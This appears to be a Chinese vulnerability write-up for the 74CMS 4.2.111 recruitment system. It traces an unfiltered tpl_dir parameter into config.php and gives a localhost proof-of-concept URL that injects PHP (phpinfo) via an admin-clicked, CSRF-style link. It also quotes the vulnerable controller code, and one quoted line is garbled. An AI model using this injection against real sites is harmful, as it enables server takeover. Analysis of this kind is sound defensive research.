0x01 漏洞概述
74CMS是一套专业的人才招聘系统,其在后台更换风格模板的时候,未对参数 tpl_dir 的值进行严格过滤,导致危险的代码可以插入到配置文件中,进而导致任意命令执行。我在复现此漏洞时发现,觉得这个漏洞更像是csrf导致的getshell。只要管理员点击攻击者构造的url,就可以插入危险代码导致命令执行。
74CMS 4.2.111下载地址:http://www.74cms.com/download/index.html
0x02 漏洞复现
点击以下链接,插入危险代码。
http://127.0.0.1/74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=',phpinfo(),'
以下url都可以访问shell
http://127.0.0.1/74cms/index.php
http://127.0.0.1/74cms/Application/Home/Conf/config.php
0x03 漏洞分析
漏洞在更换风格模板处,路径:\74cms\Application\Admin\Controller\TplController.class.php
/** * 更换模板 */ public function set(){ $tpl_dir = I('request.tpl_dir','','trim'); $templates_info=$this->_get_templates_info($this->tpl_dir.$tpl_dir."/info.txt"); D('Config')->where(array('name'=>'template_dir'))->setField('value',$tpl_dir); if(C('qscms_template_dir') != $tpl_dir) D('AdCategory')->ads_init($tpl_dir); $this->update_config(array('DEFAULT_THEME'=>$tpl_dir)); $this->success('设置成功!'); }
可以看到此段代码获取 tpl_dir 参数进行更换模板,最后用 update_config 函数更新配置文件。
跟踪一下 update_config 函数,路径:\74cms\Application\Common\Controller\BackendController.class.php
public function update_config($new_config, $config_file = '') { !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php'; if (is_writable($config_file)) { $config = require $config_file; $config = multimerge($config, $new_config); if($config['SESSION_OPTIONS']){ $config['SESSION_OPTIONS']['path'] = SESSION_PATH; } file_put_contents($config_file, "true)) . ";", LOCK_EX); @unlink(RUNTIME_FILE); return true; } else { return false; } }
不难看出, update_config 函数把传进来的参数进行组合成所需的配置信息,最后用 file_put_contents 函数把配置信息写入到\74cms\Application\Home\Conf\config.php 文件中。
而在写入之前并没有对 $tpl_dir 进行严格过滤,仅仅是用stripslashes 函数过滤反斜杠。从而导致代码执行。